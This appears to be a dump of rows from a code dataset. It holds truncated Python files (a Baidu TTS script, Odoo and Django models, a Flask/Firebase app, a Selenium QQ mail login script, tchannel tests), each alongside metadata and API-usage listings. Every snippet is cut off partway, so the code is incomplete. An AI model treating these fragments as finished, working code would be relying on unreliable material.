# for i in range(0, len(text) - 1):
# if text[i] == text[i + 1]:
# count += 1
# els... | null | checkio/Home/08.Long_repeat.py | 08.Long_repeat.py | py | 944 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "itertools.groupby",
"line_number": 25,
"usage_type": "call"
}
] |
71957580 | #!/usr/bin/env python3
#-*- coding:UTF-8 -*-
from BaiduTTS import BaiduTTS, BaiduTTSException;
import os, sys, time, random;
import config;
def __speak(word, filename):
ttsHandle = BaiduTTS(config.APIKEY);
while True:
try:
data = ttsHandle.speak(word);
with open(config.VOICE_DI... | null | genTimeVoice.py | genTimeVoice.py | py | 1,325 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "BaiduTTS.BaiduTTS",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "config.APIKEY",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "config.VOICE_DIR",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "os.sep",
... |
75120867 | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
import logging
from odoo import models, fields, api, _
_logger = logging.getLogger(__name__)
class DSM_Users(models.Model):
_inherit = "res.users"
payment_gateway = fields.Many2one('pos_pay_central.configura... | null | drugstoc_mobile/models/dsm_gateways.py | dsm_gateways.py | py | 1,133 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "odoo.models.Model",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "odoo.models",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "odoo.fields.Many2... |
205704927 | from flask import Flask
from flask import redirect
from flask import render_template
from flask import request
from flask import jsonify
from flask import make_response
#import firebase_admin
#from firebase_admin import credentials
#from firebase_admin import db
from firebaseconfig import config
import json
import pyr... | null | main.py | main.py | py | 2,375 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pyrebase.initialize_app",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "firebaseconfig.config",
"line_number": 28,
"usage_type": "argument"
},
{
"api_name": "flask.Flask",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "flask.r... |
395155556 | from django.db import models
class Comment(models.Model):
"""お気に入りツイートに対するコメントをDBに保存
fav_tweet_id
-- Twitter APIで取得した、コメント投稿先ツイートのTweet id
どのツイートに対してコメントを投稿したかを関連付けるために使用
comment
-- ユーザーが投稿したコメント
"""
fav_tweet_id = models.BigIntegerField()
comment = models.CharField(max_lengt... | null | comment/models.py | models.py | py | 503 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.db.models.Model",
"line_number": 3,
"usage_type": "attribute"
},
{
"api_name": "django.db.models",
"line_number": 3,
"usage_type": "name"
},
{
"api_name": "django.db.models.BigIntegerField",
"line_number": 13,
"usage_type": "call"
},
{
"api_n... |
444842327 | # -*- encoding: utf-8 -*-
from selenium import webdriver
import time
driver = webdriver.Chrome()
driver.get("https://mail.qq.com/")
# 由于qq邮箱登录元素是在一个iframe中,不能直接定位元素
# iframe相当于嵌套的另一个页面,需要切换的iframe
driver.switch_to.frame("login_frame")
driver.find_element_by_id("u").send_keys('324356546')
time.sleep(3)
driver.cl... | null | selenium_browser/sele_qqmail_login.py | sele_qqmail_login.py | py | 403 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "time.sleep",
"line_number": 18,
"usage_type": "call"
}
] |
473105188 | # Copyright (c) 2015 Uber Technologies, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publ... | null | tests/testing/vcr/integration/test_vcr.py | test_vcr.py | py | 5,346 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "tchannel.tornado.TChannel",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "pytest.fixture",
"line_number": 32,
"usage_type": "attribute"
},
{
"api_name": "tchannel.thrift.client_for",
"line_number": 48,
"usage_type": "call"
},
{
"api_name... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.